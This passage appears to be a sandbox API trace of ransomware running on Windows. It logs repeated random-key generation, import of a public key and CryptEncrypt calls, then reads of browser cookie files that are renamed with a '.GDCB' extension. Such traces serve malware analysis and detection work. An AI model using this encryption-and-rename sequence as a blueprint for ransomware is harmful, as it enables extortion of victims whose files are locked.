(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.420] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.420] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.420] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.421] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.422] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.422] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.422] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.422] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0189.424] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036d50) returned 1 [0189.424] CryptGetKeyParam (in: hKey=0x5036d50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.424] CryptEncrypt (in: hKey=0x5036d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.424] GetLastError () returned 0x0 [0189.424] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.424] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0189.426] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036dd0) returned 1 [0189.426] CryptGetKeyParam (in: hKey=0x5036dd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.426] CryptEncrypt (in: hKey=0x5036dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.426] GetLastError () returned 0x0 [0189.426] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0189.426] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ILF13HLB.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ilf13hlb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.428] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.429] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.430] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x110, lpOverlapped=0x0) returned 1 [0189.439] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.444] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ILF13HLB.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ilf13hlb.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ILF13HLB.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ilf13hlb.txt.gdcb")) returned 1 [0189.449] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.453] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.453] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.453] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.455] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.455] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.455] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.457] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036ad0) returned 1 [0189.457] CryptGetKeyParam (in: hKey=0x5036ad0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.458] CryptEncrypt (in: hKey=0x5036ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.458] GetLastError () returned 0x0 [0189.458] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.458] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.459] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036890) returned 1 [0189.460] CryptGetKeyParam (in: hKey=0x5036890, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.460] CryptEncrypt (in: hKey=0x5036890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.460] GetLastError () returned 0x0 [0189.460] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.460] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ISTFXHHR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\istfxhhr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.462] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.463] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.464] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x14a, lpOverlapped=0x0) returned 1 [0189.473] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.477] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ISTFXHHR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\istfxhhr.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ISTFXHHR.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\istfxhhr.txt.gdcb")) returned 1 [0189.483] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.485] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.486] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.486] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.486] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.486] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.487] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.488] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.488] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.488] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.488] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.490] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036b10) returned 1 [0189.490] CryptGetKeyParam (in: hKey=0x5036b10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.490] CryptEncrypt (in: hKey=0x5036b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.490] GetLastError () returned 0x0 [0189.490] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.491] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0189.492] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037650) returned 1 [0189.492] CryptGetKeyParam (in: hKey=0x5037650, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.492] CryptEncrypt (in: hKey=0x5037650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.493] GetLastError () returned 0x0 [0189.493] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0189.493] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ITD4OUAR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\itd4ouar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.495] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.496] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.497] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xbb, lpOverlapped=0x0) returned 1 [0189.506] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.510] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ITD4OUAR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\itd4ouar.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\ITD4OUAR.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\itd4ouar.txt.gdcb")) returned 1 [0189.517] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.520] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.520] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.520] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0189.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.522] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.522] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.522] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.522] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0189.525] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037150) returned 1 [0189.525] CryptGetKeyParam (in: hKey=0x5037150, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.525] CryptEncrypt (in: hKey=0x5037150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.525] GetLastError () returned 0x0 [0189.525] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.525] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.527] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037290) returned 1 [0189.527] CryptGetKeyParam (in: hKey=0x5037290, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.527] CryptEncrypt (in: hKey=0x5037290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.527] GetLastError () returned 0x0 [0189.527] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.527] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\J4JSQG9R.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\j4jsqg9r.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.530] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.531] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.532] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x2c8, lpOverlapped=0x0) returned 1 [0189.540] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.546] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\J4JSQG9R.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\j4jsqg9r.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\J4JSQG9R.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\j4jsqg9r.txt.gdcb")) returned 1 [0189.552] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.554] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.554] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.554] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0189.555] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.556] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.556] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.556] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.556] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.559] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037790) returned 1 [0189.559] CryptGetKeyParam (in: hKey=0x5037790, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.559] CryptEncrypt (in: hKey=0x5037790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.559] GetLastError () returned 0x0 [0189.559] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.559] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.561] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037490) returned 1 [0189.561] CryptGetKeyParam (in: hKey=0x5037490, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.561] CryptEncrypt (in: hKey=0x5037490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.562] GetLastError () returned 0x0 [0189.562] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.562] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JQOCYKOH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jqocykoh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.564] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.565] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.566] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x3f4, lpOverlapped=0x0) returned 1 [0189.622] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.627] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JQOCYKOH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jqocykoh.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\JQOCYKOH.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\jqocykoh.txt.gdcb")) returned 1 [0189.632] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.634] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.634] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.634] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.635] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.636] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.637] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.637] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.637] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider 